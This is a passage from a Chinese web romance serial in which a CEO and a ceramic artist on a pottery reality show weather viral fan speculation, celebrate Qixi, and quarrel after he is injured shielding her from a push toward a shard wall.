《成器》官微发了条三分钟的花絮视频,标题是#今日份现场录制花絮放送,结尾藏甜蜜彩蛋#。
三分钟的视频前面两分钟都是围绕着节目录制日常展开,而最后一分钟镜头一转,画面切换,喧闹的背景瞬间消失。
曲荷带着几分委屈和撒娇的声音传了出来,“庄别宴,我就喝两口也不行吗?”
镜头移到了庄别宴严肃的脸,“阿荷,你生理期马上要到了,现在喝冷的,到时候又要难受了。”
他皱了下眉,掌心在她手背上摩挲,“我无法感同身受你的痛,这种帮不上忙的滋味更煎熬。我给你煮了红糖姜茶,这几天先喝这个。”
他说着就转头准备去拿远处的保温杯。
曲荷一听到自己大热天还要喝红糖姜茶,脸瞬间垮了,赶紧追上去拦着他,“天太热了,我喝不下。而且上次吃了那么久的中药,说不准这次就不痛了呢,我不想喝。”
她的头摇得飞快。
曲荷难得露出这般模样,换做平时庄别宴保准心软妥协,但这次关乎她的身体,他非常坚定,“不行,必须喝。”
曲荷气鼓鼓瞪了他一眼,甩开他的手转身就朝休息室走去,脚步踩得很重,像是在发泄不满。
庄别宴看着她气呼呼离开的背影无奈叹气,但眼底却藏不住笑意。
视频最后十秒,是庄别宴半蹲在曲荷面前,他把姿态放得很低。
节目组很贴心把这段对话打了码,谁都不知道庄别宴说了什么,可从他的眼神以及曲荷的小表情里,不难看出两人的互动有多甜蜜。
最后画面停留在曲荷从他手里接过了保温杯,小口小口喝着红糖姜茶。
这则视频一发布,短短几分钟内,评论过万,**瞬间翻转:
【说曲荷卑微的打脸了吧?这分明就是甜蜜互动!】
【豹豹猫猫我又鬼混回来了,是我错怪你们了,这也太甜了吧!】
【原来不是卑微求爱,是小情侣打情骂俏!我又狠狠磕到了。】
【又被庄总宠到了。别问,问就是我男朋友在我生理期只会说多喝热水,多睡觉...】
【痛经真的难受,疼到冒汗的程度!庄总那句‘不能感同身受’我真的泪目了!】
【就我一个人好奇节目组打码那段内容吗?庄总是在干嘛?我脑子已经脑补一堆了,让孩子看看吧,求求了!】
【同求加一!】
更有胆子大的网友直接去了庄别宴微博底下贴脸开大,问他到底在干嘛。
本来只是大家玩闹而已,可庄别宴居然真的回复了。
他在评论区回复:【在哄她。】
哄她?
简简单单三个字,粉红泡泡简直就要溢出大屏幕。
这还不够,连不怎么发微博的曲荷也在这时发了张图片,是保温杯里红糖姜茶的照片,还在冒着热气。
她配了吐舌头吹气的表情包,文案带着抱怨:【真的很烫!大热天谁喝谁皱眉,希望庄先生看到这条微博下次可以煮一碗凉的给我喝。】
而这条微博置顶评论,是庄别宴无情的两个字,【驳回。】
一来一往地互动,甜分直接超标,评论区的粉丝都在嗷嗷叫:
【还得是年纪大会疼人啊!不说了,去哪个平台可以领一个这样的男人?】
【知道你们夫妻恩爱,但我是个人!狗粮吃不下了!】
【是真夫妻吗?敢不敢发个接吻照看看真假?】
【希望庄别宴和曲荷看到这条评论的时候,可以左爱给我看,谢谢!】
【楼上姐妹,这里是评论区不是无人区,小心被封号!你们偷偷发给我看就行,嘿嘿嘿...】
就在这时,宴曲CP超话里有个粉丝发了张照片,再次引爆热度。
粉丝配文:【本来不想发的,但不想让大家被黑子引导。我家就在青瓷小镇,这是早上我和我妈逛超市拍的照片。】
三张实况照片都是庄别宴的侧脸和背影。
他穿着简单的白衬衫搭配黑色西装裤,正推着车在选东西,不难看出购物车里放着的红糖和生姜,完全对应了视频里庄别宴说的话。
发帖博主在评论里补充,说庄别宴还买了很多零食,本来只是觉得这个男人很帅才拍的,到家后才发现这是庄别宴。
照片加视频一出,双重佐证。
两人的CP粉弯着的腰终于挺直了,在各大评论区晃悠。
你见过身价千亿的总裁下跪哄人吗?我家有!
你见过总裁亲自煮红糖姜茶吗?我家CP有。
你家CP都是假的,我们家才是真夫妻!
快来入股我们宴曲CP吧,绝对不亏!
网上风评一下子翻转。
而没多久那个偷拍视频就被删除下架了,连带着那个匿名账号也因违反社区规定而被禁言封号。
下午直播的时候,在线人数直接冲上了十万。
节目组都没想到会有这么多人,直播间因为流量过大一度卡顿,他们不得不中途暂停直播,重新换了个设备。
而直播间的弹幕全都是要求看曲荷跟庄别宴。
节目组无奈苦笑,他们也想啊,没看到镜头就差怼曲荷脸上了吗?
可人家庄总有命不敢不从啊。
下午的直播主要是围绕修坯和雕刻展开,大家本来都是抱着来磕糖的本意看直播,可慢慢地却逐渐被陶艺本身吸引。
他们亲眼见证了从泥到器的蜕变,看着大家灵巧地用手里的刻刀修出了沿口,底足和厚薄均匀的胎壁。
曲荷坐在拉坯机前,动作行云流水刻了朵并蒂莲。
周围的学员不自觉围了上来,眼里满是钦佩:
“曲荷老师,您刻得真好!”
“这莲花太精致了,怎么做到的?”
曲荷抬头,温柔笑了笑,“要多练习,
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手的力度要均匀...”
她耐心讲着技巧。
直播间的观众逐渐看入迷:
【不知道为什么,看着一块普通的泥巴变成精致的花瓶,突然有种想哭的感觉。】
【你们刚才又看到曲荷刻的花纹吗?太牛了!那么小的花瓶她居然刻了一朵莲花,简直是栩栩如生。】
【我也是看了《成器》才知道原来世界上是没有陶瓷的,原来陶是陶,瓷是瓷,真的学到知识了!】
【你们有看到刚才那个一闪而过的镜头吗?庄总那眼神里的骄傲和爱,真的太甜了!】
【这才是强强相配啊,我看谁说曲荷配不上庄别宴的?】
上午的直播和录制结束前,曲荷作为本期节目宣传官要和网友进行线上互动。
她端正地坐在摄像机前。
编导小姐姐问她:“曲荷老师,刚才直播间里的观众在看了您刻的莲花后,都在夸您的手艺,说您是了不起的工匠。”
曲荷惶恐,不好意思笑了笑,“谢谢大家的夸奖,但我实在担不起工匠两个字。比我厉害的老师还有很多。”
编导小姐姐看着飘动的弹幕,问:“很多行业都会提到工匠这个词,曲荷老师认为的工匠精神是什么呢?”
曲荷认真思考了一下这个问题。
良久后,她看着摄像机笑了笑,“很多人会认为工匠精神是工匠对器物的要求,但如果大家了解过制瓷的过程或许就会明白,工匠精神其实是器物对工匠的要求。”
“可以详细说说嘛?”
“制瓷要经过72道工序,一关不过关关不过,一关有瑕关关有瑕,唯有经过重重困难才能在水深火热之中成器。”
“而在这个过程中,人的意志力和耐心也会得到很大的提升,所以说每个陶艺人做瓷的时候,等于把自己也重新也塑造了一遍。”
曲荷说的时候,完全沉浸其中,连带着周围的工作人员和直播间里的观众都被她带入了。
她说起陶瓷的时候,眼里是有光的,也是真正热爱的。
编导小姐姐听到她的话,有些哽咽了,“谢谢曲荷老师的回答。您这番话也是《成器》节目成立的初衷,感谢您把《成器》拨回正轨,也感谢《成器》遇到了你。”
曲荷微微一笑,“那我也替所有陶艺人感谢节目组,谢谢你们让大家知道陶艺背后的浪漫。”
上午直播到此结束。
《成器》节目把曲荷这段回答单独剪成视频放在了微博上,先后齐墨转发,然后各大陶艺大家紧随其后,很快这个视频转发播放量过亿。
而那些本意只是抱着磕糖的粉丝也逐渐被曲荷的人格魅力折服。
节目录制现场,曲荷却对网上发生的这些全然不知,中午休息结束很快就投入到了下午的录制里。
录制前,节目组宣布:“各位,我们最后一位神秘嘉宾已经到了。”
第107章 红绳系情,香囊藏意
节目组说了简单的开场介绍词后,燕舒就从门口走了进来。
她一袭淡紫色长裙,衬得气质出众。
曲荷眼底掠过一丝惊讶,没有想到会是燕舒,想起上次见面还是在开窑节那匆匆一瞥。
她下意识看向燕舒的脖子,却不见那枚熟悉的羊脂玉扣,取而代之的是一个燕子挂饰,上面镶嵌着钻石。
“大家好,我是燕舒,很荣幸能来《成器》和大家一起交流学习。”
燕舒笑容得体,声音轻柔,可曲荷却注意到他的目光好像又在她身上停留了片刻。
简单的打招呼后,就开始了录制。
节目组许是为了照顾到燕舒,下午的录制主要是围绕着油画和陶艺结合展开。
曲荷在一旁听着,发现燕舒的确是言之有物。
她从色彩搭配讲到肌理表现,再到如何把油画图案结合在陶艺上,条理清晰,见解独到。
她不得不承认,燕舒在油画领域确实有扎实的工地,有很多观点都值得借鉴。
学习加游戏录制结束已经是晚上,曲荷摘掉麦克风后坐在椅子上和庄别宴发消息。
他下午临时有事,神神秘秘地出去了。
在看到手机上他发来的消息说已经到门口了,曲荷收拾好东西正准备起身离开,燕舒却朝她走来。
燕舒朝她温婉一笑,“曲荷老师,今天来得匆忙没来得及和您打招呼。晚上我约了节目组聚餐,您要不一起?”
不知为何,每次见到燕舒,曲荷心里总有种奇怪的感觉。
即使她现在是笑着,可还是觉得她的眼神里还蕴藏着什么其他的东西,让人心慌。
尤其是想到那枚羊脂玉扣,到底会是她想的那样吗?
“曲荷老师?”燕舒见她没回,又叫了她一声。
曲荷回神,想着晚上应该也没什么事,正想应下,就听到刚才边上经过的副导演打趣了声,“燕舒老师,今天可是七夕,曲荷老师晚上肯定和庄总有约啊!咱们就别当电灯泡了。”
今天是七夕?
曲荷愣了一下,有些没反应过来。
而对面的燕舒在听到“七夕”和“庄总”后,脸色也僵硬了几分,笑得勉强,“是啊,差点忘了,这么重要的日子您肯定是要和庄总一起的...”
正说着,就看到门口进来一个身影,庄别宴捧着一束粉荔枝径直走向曲荷。
旁边的场务和那几个大学生开始打趣,“哇哦,庄总好浪漫!”
“怪不得下午没看到庄总,原来是去准备七夕惊喜了!”
副导演赶紧抓来了花絮摄像,手把手指导他拍下这个画面。
曲荷看着刚被塞到手上的粉荔枝,抬头看向他。
庄别宴目光温柔:“七夕快乐。”
从他走进来开始,燕舒的目光一直停留在他身上,那欲言又止的眼神像是蕴藏着千言万语。
“庄总,您好。我是燕舒。”她叫了一声,声音带着几分颤抖。
庄别宴这才回头看向她,目光平静不带一丝情绪,“你好。”
简短打了声招呼后立刻收回了目光,牵着曲荷的手,“走吧。”
曲荷有些不好意思地看向燕舒。
燕舒迅速收起情绪,朝她笑了下,“没关系,我们下次也可以约。”
说完,她就带着助理离开了。
回酒店路上,曲荷一心想着燕舒那枚羊脂玉扣的事情,连庄别宴叫了她好几声都没反应过来。
“怎么了?”趁着红灯间隙,他扭头问。
“没什么。”她摇头,这次发现这条路不是回酒店的路。
“我们要去哪?不回酒店吗?”
庄别宴勾了下唇,看着她说:“带你过七夕。”
江城是座温柔的南方城市。
曲荷是个土生土长的北方人,倒是第一次来南方过七夕。
庄别宴带她去的是青瓷小镇边上的平南路,今晚在那里有鹊游七夕的活动。
车子停在平南路入口,庄别宴牵着她的手往里走。
“所以你下午就是来这里了?”
“嗯,听说这里七夕有活动,所以想带你过来。”
庄别宴牵着她的手微微用力,这是他和曲荷过的第一个七夕,今年他终于不用像往年一样,只能远远看着她。
“人多,别松手。”
“好。”
晚上整条街巷都挂满了灯笼,屋檐下的灯笼连成了一片灯海,映着石板路都在发光。
江上游船缓缓驶过,船上穿着汉服的工作人员提着宫灯,偶尔还会抚琴,唱起江南小调。
两人顺着人流往前走,路边的摊贩热情招呼着。
庄别宴几乎是看到什么有趣的玩意就会停下来,没一会儿手上就拎满了东西。
“庄别宴,你怎么比我还会逛街啊?”曲荷吐槽,可眼睛却看着不远处的糖人。
庄别宴宠溺一笑,带着她走向糖人摊位。
说话间,两人走到了一家挂着“七夕香囊”招牌的小店前。
店主是个穿着汉服的老奶奶,见到他们立刻笑着迎了上来,“帅哥美女,要不要来做个香囊啊?”
“做香囊是我们古时候七夕的一个传统,那时候的情侣会把心愿都写下来放在香囊里。今晚平南路刚好有活动,情侣带着亲手做好的香囊走过鹊桥,就会一生一世幸福。”
对这些话,曲荷只当是店家营销手段,听听就罢,他们今晚已经买了太多东西了。
“谢谢您,我们就是看看。”
她说完这句话,正想离开,却看到庄别宴站在原地没动,目光停留在木架上的香囊上,眼神格外认真。
曲荷拉了拉他的手,“你想做?”
庄别宴看着她没说话。
他从不信神佛玄学,但这一刻,他想为了那句一生一世幸福信一次。
从只能远远看着她,到如今终于能光明正大牵着她的手,每一步都走得忐忑,他想抓住所有能和她一辈子相关的念想。
曲荷看着他眼底的认真,虽不懂他为何如此执着,但还是笑了笑,“那我们做一个吧。”
制作香囊的过程,庄别宴很认真,他亲自挑了香料,选香囊布料。
两人坐在小桌子前写纸条,曲荷写完自己的话折好后,往旁边探头,可还没看到庄别宴就把纸收了起来。
“什么嘛,这么神秘?”她嘀咕了句。
庄别宴非常认真地把纸折好交给店主,“阿荷想知道吗?可是店主说了,要保密。”
“谁..谁想知道啊?一点!都不想!
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”曲荷口是心非嘴硬否认。
庄别宴也不拆穿,只是嘴角噙笑,任由她别扭地转头。
店主奶奶接过他们的纸条一起放进香囊里,封好口,还在袋口系了条红色流苏递给他们,“拿着香囊,去前面的鹊桥,记得要手牵手走啊。”
所谓的鹊桥其实就是前面的石拱桥。
桥上挤满了情侣,大家都手牵手慢慢往前走。
过桥的时候庄别宴紧紧牵着她的手,走到桥中间的时候,曲荷抬头看他,发现他眼底闪着光,“在想什么?”
“在想,幸好现在身边是你。”庄别宴的声音很轻,但落在曲荷心里却漏了半拍。
下桥后,旁边的小摊贩大婶拿着两根红绳走过来,开始推销:“千里姻缘一线牵,红绳一根结连理。七夕带红绳寓意永不分离,帅哥美女要不要买两根?”
曲荷下意识摆手拒绝,可庄别宴却抢先一步,“买两根。”
大婶笑得眼睛都眯起来了,“好嘞,您收好,记得今天带上就别摘啊!”
她抽出两根红绳地给他,又继续推销,“那香囊要不要也来一个?晚上过了凌晨后把红绳取下来放到香囊里,一起放在枕头下,这样寓意永结同心!”
曲荷无奈笑了笑,这大婶简直就是天生的销售,这话术也太熟练了。
“不了不了,我们有香囊。”她拒绝后,拉着庄别宴往前走。
庄别宴被她拉着,看着手上的红绳,又看着手里的香囊,若有所思。
逛完整条平南街,曲荷趴在庄别宴肩头,累得眼睛都睁不开了,回去路上她靠在副驾驶没多久就睡着了。
醒来的时候,车子已经到了酒店门口。
她刚想解开安全带,就发现左手不知道什么时候系了根红绳。
她把手上伸到庄别宴前面晃了晃,又举起他系了红绳的右手,笑着问:“你什么时候系的?庄大总裁还信这个?”
庄别宴耳根子烫了下,转头拉住她的手,轻轻摩挲着红绳:“阿荷,我想和你永不分离。”
曲荷被他这突如其来的情话撩了一下。
回到房间后,他千叮万嘱洗澡的时候也不能摘下。
曲荷拿他没办法,应了好几声。
可刚走进浴室,他后脚就跟了进来。
“你干嘛?”
“来监督你到底有没有摘红绳。”
“我说了不会摘的。”
曲荷伸手想把他推出去,却被他反手拉进怀里。
“阿荷,我要亲眼看着才放心...”
一江春水绕花身,红绳交缠,身影交融,云雨沉浸。
结束的时候,曲荷是被抱出来的。
浑身无力,沾着枕头就睡过去了。
静夜里,独留一盏床头灯。
庄别宴抱着曲荷,和她十指相扣,看着她的睡颜眼底满是温柔。
凌晨的闹钟轻轻振动,他小心翼翼关掉闹钟。
小心翼翼地把怀里人翻了个身,轻轻解开她手上的红绳,又取下自己的,一起放进香囊里,然后仔细压在枕头下。
他重新躺好,把曲荷搂进怀里,在她额头落下轻吻,“阿荷,我们会永不分离。”
窗外月光透过窗帘缝隙照进来,落在两人交握的手上,温柔又绵长。
第108章 庄别宴为她负伤
早上。
曲荷是在洗漱的时候才发现左手腕上系着的红绳不见了。
明明昨晚睡前还在的,掉了吗?
吃早饭的时候,她原本还想问庄别宴有没有看到红绳,可抬头就看到他右手也是空空的。
曲荷心头颤了颤,一个模糊的猜测浮上心头。
吃完早饭后,她回卧室换衣服。
关上房门,她径直走到床边,没有丝毫犹豫伸手到他的枕头底下摸索。
手指很快就摸到了香囊。
她拿出打开绳子看了眼,果然,里面放着两根细细交缠的红绳,不分彼此。
曲荷唇角忍不住弯起,低声嗔了句,“幼稚鬼。”
话虽这么说,可一股难以言喻的甜意却从心底蔓延,那藏在心底的不安稍稍冲散了一点。
他这么相信那些话,是不是意味着他已经彻底放下了过去,愿意和她好好走下去。
曲荷笑了下,正准备把香囊放回去,就想到了昨晚两人在纸上写下的心愿。
那两张纸现在就放在香囊里面,她现在拿出来偷偷看,庄别宴也不会知道。
曲荷很想知道他写了什么。
会和她写的一样吗?
手已经伸进香囊,只要拿出来,就能知道答案。
指尖犹豫蜷缩,可最后在碰到纸的那瞬间,她还是把手又收了回来。
算了,还是不看了。
在这一刻,曲荷还是承认了自己的懦弱,万一...万一不是自己想看到的呢?况且庄别宴也说了等时机到了会给她看的。
还是再等等吧。
曲荷把香囊恢复原样,放回枕头底下,小心拍了拍枕头,像在藏着一个秘密,又像是在守护一份甜蜜。
她重新换了身衣服,装作若无其事出去了。
客厅里,节目组的编导已经等着和她沟通今天的录制事项,准备出门的时候,曲荷才注意到了庄别宴今天的穿着不同往日。
牛仔蓝衬衫短袖,搭配深色牛仔裤,褪去了往日西装革履的沉稳矜贵,带着几分少年气的清爽。
曲荷看到他这一身穿搭,瞬间警铃大作。
上一次看到庄别宴打扮成这样,还是为了迷惑她,要带她去看中医。
难不成.....
他这次又要耍什么心机。
曲荷疑惑地打量着她,“你今天...?”
庄别宴看过来,神色自然:“怎么了?”
曲荷压下疑问,“没事。”
到了录制现场后,昨天还明确表示不想出现在镜头里的男人,今天居然直接跟着他到了拉坯教室。
他一进来,就引得赞叹不止。
“庄总今天好帅!我还以为是哪个男大学生进来了。”
“刚才第一眼,我还以为咱们节目组又来新嘉宾了,庄总不穿西装也很有气质啊。”
庄别宴只是淡淡颔首,礼貌回应:“谢谢。”
录制间隙,导演组需要调整一下机位和设备。
曲荷没忍住,拉着庄别宴去了旁边休息室,关上门就问:“你老实交代,是不是在这里有相好?”
庄别宴失笑,伸手想揽她,“相好不是你吗?”
曲荷躲开他的手,目光审视:“别打岔。你今天打扮这么花枝招展,还老在镜头前晃悠,到底想干嘛?”
“花枝招展?”庄别宴挑眉,语气无辜:“这只是三十岁男人的正常穿搭。”
曲荷眯起眼,灵光一闪,“庄别宴....你不会是听了网上那些评论,想显年轻吧?”
她想起昨天他熬红糖姜茶的视频发出来后,网友评论“年纪大的男人果然会疼人”,她昨天看到还当笑话分享给他看了。
难不成他当真了?
庄别宴眸光一闪,俯身逼近她,“我看起来年纪很大吗?”
他盯着曲荷的眼睛,眼里闪过一丝危险。
他越这样,曲荷越是肯定。
她突然起了几分逗弄的心思,手指划过他的衬衫领口,“庄先生,你不会是有年龄焦虑了吧。”
刚说完这句话,就被她一把拉到怀里,脸颊被不轻不重捏了两下。
曲荷笑着打掉他的手,从他怀里抬起身子,故作严肃帮她理了理领口。
她一本正经调侃:“庄先生,男大三,抱金砖!虽然说男人过了三十就是六十五,但我不会嫌弃你的。”
庄别宴被她的话气笑,手臂收紧把她锁在怀里,贴着她耳朵说了句暧昧的私语。
曲荷脸瞬间红了,用力一推从他怀里逃了出去,拉
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开门就往外走。
门外,燕舒不知道什么时候站在那里。
曲荷一愣。
燕舒神色自然,好像刚到,她笑了笑,“曲荷老师,节目组机位调好了。”
曲荷仓促点了点头,“哦,好,谢谢。”
她快步走回录制现场,没来得及思考节目组怎么会让一个嘉宾来通知她准备录制,更没留意到身后,燕舒投向休息室门的那复杂的一瞥。
下午是开放日录制,节目组提前从网上报名的粉丝当中,抽取了一些来现场进行陶艺体验。
曲荷和燕舒被分到一组指导拉坯教学,出乎意料的是燕舒拉坯很熟练,像是经过专门的训练,两人配合倒也默契。
开放日活动结束前有一个集体合影环节,她和燕舒被拥着到了中间位置。
合影结束后,曲荷看到角落里一直有个鬼鬼祟祟的人影。
这个男人她从刚才就注意到了。
拉坯的时候他就屡次借口让燕舒指导凑近她,合影的时候还挤开了站在旁边的女生站到燕舒后面,眼神直勾勾地盯着她,透着不正常的热切。
她感觉不对,正想着提醒一下节目组,就看到男人一脸猥琐突然朝着燕舒冲了过来。
在场的人都没来得及反应。
曲荷就站在燕舒旁边,眼看着男人就要抱上来了,下意识拉着燕舒的手往自己这边躲。
男人也没想到这一出,他立刻转头朝她们的方向扑了过来。
曲荷好不容易站稳身子,正想呼叫,可后腰突然被一股力道推了一把,整个人往旁边扑了过去。
他们合影的地方是青瓷小镇为了艺术效果堆砌出来的碎瓷片墙,尖锐的瓷片凸出来,一不小心就会划伤。
曲荷被这么一推,整个人朝着碎瓷片墙扑了过去,这么一摔脸肯定毁了。
可就在她以为要撞上墙时,一个怀抱从身后裹住了她,下一秒,“咚”得一声,两个人砸到了碎瓷片墙上。
一声闷哼从身后传来。
“庄先生!您没事吧?”
曲荷还没反应过来,就被跑过来的燕舒一把推开了。
她全然不见平时的淡定优雅,蹲在庄别宴身边想去查看他的后背,脸上满是心疼和担忧。
第109章 曲荷被欺骗
现场瞬间乱成一团,那个冲上来的男人已经被保安控制住了,导演的怒吼,打电话的声音,杂乱的脚步声交织在一起。
曲荷僵在原地,看着燕舒泛红的眼睛,心里像是被什么东西狠狠拧了一下,酸涩难言。
直到看到庄别宴衬衫后背缓缓渗出的血迹,才猛地回过神。
节目组本来还在直播,在看到这一幕后赶紧掐掉直播。
燕舒的助理已经跑过来拉起了她,曲荷目光在燕舒和庄别宴身上流转了一下,脚步像被钉在了原地,不知所措。
庄别宴已经被导演搀扶着站起来。
“阿荷。”他推开旁人的搀扶,朝她伸出手,“过来。”
曲荷走上前。
他拉着她的手,上下打量检查了一圈,眉头因疼痛蹙了下,“有没有伤到?”
曲荷摇头,声音发涩:“没有,你的背...”
“一点小伤,去医院处理一下就好。”
他紧紧牵着她的手,力道不容拒绝,“你陪我一起。”
车子很快抵达,直到坐上后座庄别宴也还是没有松开她的手。
车门关上前一秒,曲荷清晰看到了车外燕舒投过来的拿到深沉担忧的目光。
去往医院的路上,车厢一片安静,谁都没有说话。
曲荷的手被他紧紧握着,掌心微热,甚至沁出了一层汗。
她动了动想抽出来让他舒服一点,可庄别宴却不给她这个机会,手被他更紧地握住。
到了医院,医生用镊子取出嵌在他后背的碎瓷片,清创,消毒,缠绷带,全程他都没松开她的手。
直到医生出去后,病房里只剩下他们两个人。
消毒水的气味弥漫在空气里。
曲荷抬头,目光直直看向靠坐在病床的人。
“你认识燕舒。”
这不是疑问,是肯定。
是女人的第六感。
从燕舒刚才看他的眼神,那毫不掩饰的担忧,曲荷就猜到了。
庄别宴看过来,沉默了几秒。
后背的伤口还在隐隐作痛,可她的眼神却让他的心被刺了下,一时分不清哪个更痛。
他伸手,想摸她的脸,却被她偏头躲开。
沉默在空气中蔓延,良久,男人极轻地点了下头。
这一点头,像一根针,瞬间刺破了曲荷这一路伪装的镇定。
她只觉得心里堵了口气,委屈和怒意涌上心头。
她用力抽出了自己的手,转身就往门外走。
“阿荷!”
庄别宴脸色一变,几乎是本能反应,掀开被子连鞋都顾不上穿,就追了上去。
他从身后把她紧紧抱住,手臂箍得很紧,仿佛只要他一松手她就会消失不见。
“放开。”曲荷挣扎,声音带着压抑的颤抖。
“阿荷,别走..别走..”
他把脸埋在她颈窝,声音低哑,带着未知的慌乱。
曲荷在原地深深吐了口气,压下眼眶的酸胀,可声音还是带上了几分湿意:“庄别宴,我最讨厌别人骗我!你明明答应过我的!”
她用力去掰开环在腰上的手,可他的力道大得惊人,反而越来越紧。
“我的过去,好的坏的你都知道,我从来没瞒过你。可你呢?你的过去我一点都不了解,你和燕舒认识多久了?你们到底是什么关系?你什么都不告诉我,这一点都不公平!”
她越说越委屈,眼眶止不住泛红。
庄别宴把她抱得很紧很紧,懊悔又急切地道歉:“对不起阿荷,我和她真的什么关系也没有,只是在英国认识而已,算不上熟。我不会骗你,永远不会。”
“没有关系为什么不能告诉我?看着我被蒙在鼓里,在我面前上演装陌生人的戏码,很好玩吗?”
“不是的。”
曲荷转头看他,眼睛红红的积满了泪,“如果不是今天这场意外,你是不是永远都不打算告诉我你们认识?还是说你也觉得我的感受,我的不安一点都不重要?”
只要想起刚才在现场,燕舒扑向庄别宴那慌乱的样子,想到他们可能早就认识,却在她面前扮演陌生人,曲荷就觉得心里又酸又疼。
她觉得心里那口气在逐渐膨胀,堵着呼吸不畅,难受又委屈:“我真的...真的很讨厌别人骗我...”
眼泪还是没忍住掉了下来,砸在庄别宴的手背上,心脏又胀又痛。
他伸手想帮她擦眼泪,却
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不小心扯到后背的伤,闷哼一声,脸色白了白。
后背的绷带立刻晕开一片鲜红,可他却像是什么都没感觉一样,只是想帮她擦去了眼角的泪。
他一遍遍道歉,“阿荷,我没有故意瞒着你。我和她是在英国认识,她家人帮过我的忙,但我和她之间并无交集,甚至连朋友都算不上,这次节目相遇纯属意外。”
曲荷没有做声。
曲荷看着他苍白的脸和额头的沁出的虚汗,语气软了半分,却还是带着刺,“什么都没有,为什么不早点告诉我?为什么不敢和我说。”
“是我错了,是我没有处理好。阿荷,我的过去,只要你想知道的我都可以告诉你,但能不能别再背对我,别不理我,别再说..要走,别离开....”
他看着她,眼神近乎哀求。
庄别宴试图再次拉她的手,却因后背的疼痛再次皱眉,绷带上的血色似乎更深了些。
曲荷目光落在刺目的红上,下意识就想出门叫医生,可却被他一把抓住手腕。
“你先松开,我叫医生来给你重新包扎。”
庄别宴固执不肯松手。
“你...”曲荷又气又急,看着他越来越苍白的脸和逐渐加深的血迹,终究是狠不下心,“你先回床上,我不走!”
庄别宴眼神脆弱看着她,显然不信。
曲荷无奈,无奈妥协,“那我和你一起过去行了吧。”
她没办法,只好由他攥着自己的手,搀住他慢慢走回床边,按了呼叫铃。
医生很快进来,重新换绷带上药,语气责备:“刚才不是叮嘱过了不能剧烈运动,这才多久?家属多注意一点。”
“好的医生,我们一定多注意。”
曲荷应着,看着镊子重新翻开皮肉上药,看着庄别宴紧锁的眉头,心里那点憋闷的气被心疼取代。
她也有些懊恼,不应该在他伤着的时候争执。
医生处理完后,叮嘱了几句就离开了。
病房重新安静下来。
“阿荷...”他靠着床头,朝她伸手,声音哑哑的。
曲荷看着那只悬在半空的手,犹豫片刻后,最后还是走上前,把手放了上去。
第110章 把衣服脱了
庄别宴立刻收拢掌心,抱住她的手,把她拉到床边坐下。
曲荷看着他虚弱的样子,又低头看着十指相扣的手。
“庄别宴,没有下次了。任何事,好的坏的我都要知道。你的害怕,我也有,但信任不是靠隐瞒建立的。”
“好,绝对不会有下次,我保证。”
曲荷顺从地靠在他没受伤的肩头,“再有下次,我真的会走,让你再也找不到我.....”
话还没说完,就被他单手抬起下巴,以吻封缄。
这个吻不似往常那般温柔缱绻,反而带着失而复得的急切和不安,庄别宴像是在用这种方式确认她的存在。
一吻结束,两人额头相抵,呼吸交融。
“阿荷,别离开我...”他低喘着,带着一丝偏执的脆弱,“我会疯的..”
曲荷看着他的眼睛,伸手小心翼翼避开他的伤口,紧紧环住他的腰,把脸埋进他怀里。
用一个拥抱无声传递着她的妥协和藏在心底的不安。
病房外,燕舒透过门上的玻璃小窗,清晰地看到了里面相拥的两人。
她扣着墙壁的手用力到泛白,最后眼神一暗,转身离开。
走廊上,高跟鞋落在地面的声音,格外清晰。
庄别宴受伤这事,显然出乎所有人意料。
《成器》节目组很快就在微博上正式发布了致歉声明。
可尽管节目组当即就掐掉了直播,但庄别宴保护曲荷受伤那个片段还是被人录下来传到了网上。
**沸沸扬扬,燕舒粉丝怒斥节目组安保失职,宴曲粉丝一边心疼庄别宴一边在玻璃碴里找糖磕。
谁都没有注意到,这时出现了一批拿着八倍镜的观众提出了尖锐的质疑:
【就我一人注意到曲荷是被推出去的吗?那个角度和力道明显不对劲。】
【回放看了十遍!当时曲荷后面只有燕舒一个人。如果庄总没出现,曲荷正面撞上碎瓷墙,后果不堪设想。】
【别阴谋论了,你怎么不说是曲荷不小心呢?你看她那么快就反应过来拉燕舒,肯定早就发现男人不对劲了,为什么不早提醒?】
【哇,你这瞎话说得都可以去算命了,明明是曲荷救了燕舒诶!】
【别吵了!你们难道没发现直播结束前燕舒扑到庄别宴身上那一幕吗?我早就感觉燕舒看庄别宴的眼神不一般了,两人肯定有故事。】
【话说,庄别演官宣那天,燕舒还在超话里发了句“我成全你”。难不成两人....】
【宴曲久久!别在这里吵!庄别宴最爱曲荷!抱走不约。】
网络上的腥风血雨,没有影响到现实里的岁月静好。
庄别宴受伤后,曲荷就推了所有事,全程陪他待在酒店里休养,每天帮他换药,倒也清闲。
好在节目也已经录制结束了,曲荷就当喜提放假,准备等他恢复得差不多了再回北城。
也不知道是上次她的激烈反应吓到了他,还是受伤让他变得格外黏人,这几天但凡离开了他的视线一会儿,他就会精准找过来,简直就是行走的大型挂件。
刚才,在《成器》里认识的大学生唐甜给她发消息,说想在她离开前送她一个礼物,已经到了酒店楼下。
曲荷不想让她多等,和庄别宴说了声下楼见个人就出门了。
小姑娘心思单纯又美好,特意过来送她一个道别礼,曲荷就带着她去了吃了酒店的甜品。
可就这么短短一会儿功夫,庄别宴就打了好几个电话过来。
曲荷无奈,直接开了免打扰,可才吃了两口蛋糕,唐甜就被节目组一个电话叫回去了。
她把唐甜送出酒店门口,回头就看到了庄别宴撑着腰倚在大堂里的立柱旁,眼睛一眨不眨看着她。
曲荷心里因为他的连环call生出的小脾气还没消,故意目不斜视从他面前走过,径直走向电梯。
庄别宴自知理亏,快步跟上她,挤进快要关闭的电梯门。
他从她手里接过唐甜送的礼物袋,声音放软,“午饭想吃什么?”
回了房间后,他放下手里的东西直接圈住了她,语气讨好,“阿荷,你理理我。”
“庄别宴,我只是下楼见个人,又不会逃。”曲荷硬邦邦说着。
“我知道。”他还是抱得很紧。
“下次别再这样了。”
“好。”他答应得飞快。
“节目给我发消息让我下午补拍一下宣传照,晚上可能还要和他们一起吃个饭。”
曲荷还是报备了下。
“那我陪你...”
“不行!”
曲荷直接把他的想法扼杀,“你在酒店待着,要是敢跟着我,我马上飞回北城。”
“...好。”
庄别宴不甘不愿妥协,退而求其次,“那
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快结束了给我发个消息,我去接你。”
“嗯。”
曲荷想着刚才他刚才下楼撑腰的姿势,目光落在他后背,“你转过去,把衣服撩起来我看看伤口。”
庄别宴听话转身,干脆直接脱下了上衣,宽肩窄腰的线条露了出来。
换做平时曲荷肯定会大饱眼福欣赏一下,可现在她满眼都是贴在后背的那几块大号医用贴。
边缘的皮肤已经结痂,看起来好了不少。
